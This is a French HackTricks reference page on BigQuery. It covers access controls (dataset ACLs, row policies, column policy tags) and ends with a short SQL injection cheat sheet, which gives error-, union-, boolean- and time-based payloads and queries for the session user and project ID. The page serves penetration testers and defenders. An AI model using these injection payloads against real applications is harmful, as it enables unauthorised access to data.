GCP - Bigquery Enum
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Google Cloud BigQuery est un entrepôt de données d'entreprise entièrement géré et sans serveur, offrant des capacités pour l'analyse de pétaoctets de données, gérant ainsi efficacement des ensembles de données à grande échelle. En tant que Plateforme en tant que Service (PaaS), elle fournit aux utilisateurs une infrastructure et des outils pour faciliter la gestion des données sans nécessiter de supervision manuelle.
Elle prend en charge les requêtes utilisant ANSI SQL. Les principaux objets sont des ensembles de données contenant des tables contenant des données SQL.
Par défaut, une clé de chiffrement gérée par Google est utilisée, bien qu'il soit possible de configurer une clé de chiffrement gérée par le client (CMEK). Il est possible d'indiquer la clé de chiffrement par ensemble de données et par table à l'intérieur d'un ensemble de données.
Il est possible d'indiquer un temps d'expiration dans l'ensemble de données afin que toute nouvelle table créée dans cet ensemble de données soit automatiquement supprimée le nombre de jours spécifié après sa création.
Bigquery est profondément intégré avec d'autres services Google. Il est possible de charger des données à partir de buckets, pub/sub, google drive, bases de données RDS...
Lorsqu'un ensemble de données est créé, des ACL sont attachées pour donner accès à celui-ci. Par défaut, des privilèges Propriétaire sont accordés à l'utilisateur qui a créé l'ensemble de données, puis Propriétaire au groupe projectOwners (Propriétaires du projet), Écrivain au groupe projectWriters, et Lecteur au groupe projectReaders :
Il est possible de contrôler les lignes auxquelles un principal va pouvoir accéder à l'intérieur d'une table avec des politiques d'accès aux lignes. Celles-ci sont définies à l'intérieur de la table en utilisant DDL. La politique d'accès définit un filtre et seules les lignes correspondantes à ce filtre seront accessibles par les principaux indiqués.
Pour restreindre l'accès aux données au niveau des colonnes :
Définir une taxonomie et des étiquettes de politique. Créez et gérez une taxonomie et des étiquettes de politique pour vos données. https://console.cloud.google.com/bigquery/policy-tags
Optionnel : Accordez le rôle de lecteur à granularité fine du catalogue de données à un ou plusieurs responsables sur une ou plusieurs des étiquettes de politique que vous avez créées.
Attribuez des étiquettes de politique à vos colonnes BigQuery. Dans BigQuery, utilisez des annotations de schéma pour attribuer une étiquette de politique à chaque colonne où vous souhaitez restreindre l'accès.
Appliquez le contrôle d'accès sur la taxonomie. L'application du contrôle d'accès entraîne l'application des restrictions d'accès définies pour toutes les étiquettes de politique de la taxonomie.
Gérez l'accès aux étiquettes de politique. Utilisez les politiques de gestion des identités et des accès (IAM) pour restreindre l'accès à chaque étiquette de politique. La politique est en vigueur pour chaque colonne qui appartient à l'étiquette de politique.
Lorsqu'un utilisateur essaie d'accéder aux données d'une colonne au moment de la requête, BigQuery vérifie l'étiquette de politique de la colonne et sa politique pour voir si l'utilisateur est autorisé à accéder aux données.
En résumé, pour restreindre l'accès à certaines colonnes pour certains utilisateurs, vous pouvez ajouter une étiquette à la colonne dans le schéma et restreindre l'accès des utilisateurs à l'étiquette en appliquant le contrôle d'accès sur la taxonomie de l'étiquette.
Pour appliquer le contrôle d'accès sur la taxonomie, il est nécessaire d'activer le service :
Il est possible de voir les balises des colonnes avec :
Pour plus d'informations, vous pouvez consulter le billet de blog : https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Ici, seuls quelques détails vont être fournis.
Commentaires :
select 1#from here it is not working
select 1/*between those it is not working*/
Mais juste le premier ne fonctionnera pas
select 1--from here it is not working
Obtenez des informations sur l'environnement telles que :
Utilisateur actuel : select session_user()
ID de projet : select @@project_id
Concaténer les lignes :
Tous les noms de table : string_agg(table_name, ', ')
Obtenez les noms de datasets, tables et colonnes :
Nom du projet et nom du dataset :
Noms de colonne et de table de toutes les tables du jeu de données :
Autres ensembles de données dans le même projet :
Types d'injection SQL :
Basé sur les erreurs - conversion : select CAST(@@project_id AS INT64)
Basé sur les erreurs - division par zéro : ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Basé sur l'union (vous devez utiliser ALL dans bigquery) : UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Basé sur le booléen : ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potentiellement basé sur le temps - Utilisation d'exemples de jeux de données publics : SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Documentation :
Liste de toutes les fonctions : https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
Instructions de script : https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE) Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)